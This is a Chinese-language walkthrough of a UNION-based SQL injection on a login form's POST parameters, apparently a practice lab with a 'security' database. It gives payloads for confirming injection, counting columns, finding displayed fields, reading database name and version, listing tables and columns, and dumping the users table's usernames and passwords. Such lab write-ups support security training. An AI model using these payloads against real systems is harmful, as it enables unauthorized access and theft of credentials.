获取数据的操作
判断是否为字符型注入
passwd=1' or '1'='1 &uname=1' or '1'='1
输入post参数判断是否为字符型注入
判断数据库中含有多少列
通过查询语句:
uname=1'or 1=1 order by 3 -- -&passwd=1' or 1=1 -- -
可发现报错:Unknown column ‘3’ in ‘order clause’,则可说明查询的数据库中只有两列,则可确定后续的联合查询的参数数量。
判断界面输出与数据库的接口
uname='union select 11,22&passwd='union select 11,22
输入post参数判断界面显示的值为数据库查询的哪一个字段
因为输入post的值有两个,为uname和passwd,则再判断输出数据为哪个参数查询结果:
扫描二维码关注公众号,回复:
13211896 查看本文章
uname='union select 11,22 -- - & passwd='-- -
可发现,输出的数值为uname中联合查询的第一个数值和第二个数值
查询数据库名字和版本号
uname='union select database(),version() -- - & passwd=' -- -
爆破使用数据库的版本号和名字
查询表名
uname='union select group_concat(table_name),22 from information_schema.tables where table_schema = 'security'-- -&passwd=' -- -
其中,group_concat()函数的作用为将查询出来的table_name合并为一个元组,以便展示出来,否则,根据界面定义,将只展示查询到的第一个值。
查询表中的列名
uname='union select group_concat(column_name),22 from information_schema.columns where table_schema = 'security' and table_name='users'-- -&passwd=' -- -
爆破security表中的users表的列名
查询表中字段的数据
uname='union select group_concat(username),group_concat(password) from security.users -- -&passwd=' -- -
通过union输出users表中的 username 和 password